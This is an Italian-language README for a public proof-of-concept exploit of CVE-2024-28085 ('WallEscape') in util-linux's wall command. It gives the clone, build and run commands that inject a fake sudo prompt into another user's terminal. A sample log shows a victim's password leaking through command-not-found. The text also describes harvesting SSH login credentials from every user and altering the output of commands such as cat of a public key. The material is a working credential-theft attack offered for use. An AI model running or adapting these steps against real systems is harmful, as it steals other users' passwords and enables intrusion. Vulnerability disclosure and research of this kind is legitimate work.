Wall-Escape (CVE-2024-28085)

Il comando wall di util-linux non filtra le sequenze di escape dagli argomenti della riga di comando. Il codice vulnerabile è stato introdotto nel commit cdd3cc7fa4 (2013). Ogni versione successiva è vulnerabile. Un rapporto completo è disponibile qui. Ho soprannominato questo bug "WallEscape".

Questo codice di exploit è riuscito a far trapelare password su Ubuntu 22.04 con configurazioni predefinite.

Configurazione

Assicurati che il colore di sfondo e il nome utente siano impostati su valori appropriati in throw.c.

Compilazione ed esecuzione

Configurazione dell'attacco

git clone https://github.com/skyler-ferrante/CVE-2024-28085.git
./build.sh
./spy > proc.log & ./watch "sudo systemctl start apache2"; ./watch "systemctl start apache2"; sleep .01; ./throw

Ho usato sudo systemctl start apache2 perché è di breve durata e produce poco output. Assicurati di terminare spy dopo che l'exploit è stato eseguito: pkill spy.

Poi, in un altro terminale

sudo su
sudo systemctl start apache2

Potrebbe non essere necessario che la vittima chiami su, a seconda del sistema e se l'accesso è locale o tramite ssh.

Questo dovrebbe far apparire il finto prompt di sudo nel terminale della vittima. Poiché molti sistemi fanno trapelare i comandi non trovati, la password della vittima potrebbe comparire in proc.log.

Esempio di proc.log

sudo systemctl start apache2
systemctl start apache2
./throw
bash
/usr/bin/python3 /usr/lib/command-not-found -- Password123!
/usr/bin/snap advise-snap --format=json --command Password123!

Nota

Alcune persone hanno frainteso in quali scenari questo potrebbe essere usato per attaccare un altro utente. Non abbiamo bisogno di attaccare sudo, possiamo attaccare ovunque l'utente inserisca la propria password. Sul mio sistema, dopo che un utente accede tramite OpenSSH, viene eseguito il comando /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new.

Per far trapelare password da utenti OpenSSH, immagina di eseguire quanto segue:

./watch "sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new"; sleep 1; ./throw

Possiamo quindi inviare un messaggio di "password errata" dopo che un utente ha effettuato correttamente l'accesso tramite SSH. Sudo era solo il comando che ho scelto per la demo, ma ci sono molti possibili bersagli. Non è difficile immaginare un attaccante che configura un raccoglitore di credenziali per raccogliere le credenziali di ogni utente che accede tramite SSH. Questo è possibile anche per gli utenti più privi di privilegi, come www-data.

Questa vulnerabilità offre inoltre agli attaccanti la capacità di modificare l'output di qualsiasi comando. Immagina di aspettare il comando cat ~/.ssh/id_rsa.pub". Un attaccante potrebbe modificare ciò che l'utente copia per la propria chiave pubblica. In questo tipo di attacco, non abbiamo bisogno di una primitiva di leak per i comandi non trovati.